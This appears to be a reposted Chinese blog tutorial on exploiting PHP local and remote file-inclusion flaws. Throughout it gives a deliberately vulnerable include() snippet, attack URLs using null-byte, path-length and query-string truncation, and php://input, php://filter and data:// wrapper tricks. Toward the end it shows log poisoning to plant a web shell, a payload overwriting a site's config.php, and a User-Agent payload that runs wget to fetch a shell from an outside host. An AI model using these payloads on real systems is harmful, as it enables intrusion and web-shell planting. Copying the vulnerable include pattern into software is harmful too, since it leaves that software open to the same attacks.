檔案包含漏洞的利用
阿新 • • 發佈:2019-01-22
本地包含
普通本地包含
只要網站支援上傳,上傳任意字尾檔案,只要其中包含一句話,包含即可執行。測試程式碼
<?php include_once($_GET['f']); ?>
POC
http://127.0.0.1/test/123.php?f=test.txt
截斷本地包含
截斷方法
因為伺服器程式碼規定了字尾,所以不能為所欲為的包含檔案。%00截斷
在Magic_quote_gpc為off的情況下才可以使用 利用方法就是這樣http://127.0.0.1/test/123.php?f=test.txt%00
長檔名截斷
因為windows和linux的檔名長度是有限制的,超過其長度的會被忽略 通常情況下windows的截斷長度為260,linux的長度為4096,這一不用在意具體長度,只要把需要截斷的字串擠到後面就可以了 windows在檔名後加/. 或 \.都是可以的 測試用的程式碼<?php // 1. 初始化 $ch = curl_init(); // 2. 設定選項,包括URL $a=''; for($i=0;$i<126;$i++){ $a .= '/.'; } $url="http://127.0.0.1/test/123.php?f=test.txt".$a; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true); // 3. 執行並獲取HTML文件內容 $output = curl_exec($ch); // 4. 釋放curl控制代碼 curl_close($ch); ?>
測試程式碼
<?php include_once($_GET['f'].".php"); ?>
POC
http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````
遠端包含
必須是allow_url_include=On的時候才能使用,不過他在預設情況下是關閉的。普通遠端包含
用法和本地包含一樣,只需要把本地路徑換成url即可http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt
截斷遠端包含
截斷方法
問號截斷法
url的話就可以隨意發揮了,把不想要的扔到引數裡面就好了,非常簡單或者直接http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=
http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?
POC
這幾個POC大多都與PHP的wrapper有關,詳情可以看這裡http://www.php.net/manual/en/wrappers.php.php
涉及到allow_url_fopen 和 allow_url_include 這兩個設定,後者php.ini裡面沒有,需要自行新增。
詳細設定在這裡
http://php.net/manual/zh/filesystem.configuration.php
data:// 或者 php://input 可以在這allow_url_include關閉的情況下包含自定義資料,不過兩種方法只在5.0以下是有效的,
之後的版本include就會報錯了,比較可惜。
普通利用
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
php://input
這個是php的輸入流,可以讀到沒有處理過的POST資料 這樣測試時的確可以取到完整的POST資料$raw = file_get_contents('php://input','r');
echo $raw;
這樣在allow_url_include=Off會報錯了
include_once("php://input");
php://filter
利用主要是利用了resource和vonvert,這樣可以讀取到php的程式碼。@readfile("php://filter/convert.base64-encode/resource=test.txt");
這樣也是可以的
@readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");
include的狀況和php://input類似
data URIs
情況和以上兩種一樣,在低版本才能發揮效果echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");
php://fd
這個在5.3.6中增加的新wrapper,據說可以繞過allow_url_include進行包含。
全域性變數覆蓋型包含
這個我沒仔細研究啦····哈哈哈~利用技巧
Apache錯誤日誌上傳一句話
這個技巧解決了,本地包含不能上傳馬的問題,還是利用熟悉的Apache錯誤日誌。 首先在配置檔案中找到Apache日誌的存放目錄ErrorLog ../logs/apache_error.loghttp://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf
之後構造一個錯誤的訪問,使其被記錄到日誌中,這裡注意瀏覽器會自動給url裡面的字元編碼,這裡需要用其他方式模擬提交
http://127.0.0.1/test/<?php echo hacked ?>
最後包含日誌檔案,之前寫入的php程式碼就會被執行
有的時候日誌檔案太大導致頁面無相應,可以寫入這一句,實際寫入時不要忘記加轉義符
<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?php echo hacked ?>");fclose($fp);?>
之後包含日誌檔案,一句話就被寫到了/www/shell.php這個目錄Linux環境變數包含一句話
原理是包含/proc/self/environ,這裡會有使用者訪問web的session資訊,其中也會包含user-agent的引數, 這個引數你瀏覽器名稱的引數。而這個引數在我們客戶端是可以修改的, 所以說想個辦法修改user-agen,比如修改成<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然後提交一個,包含/proc/self/environ的請求就可以了。
session檔案包含一句話
這個沒有仔細研究,詳情看這裡http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
這個很厲害回頭研究http://zone.wooyun.org/content/2196?1176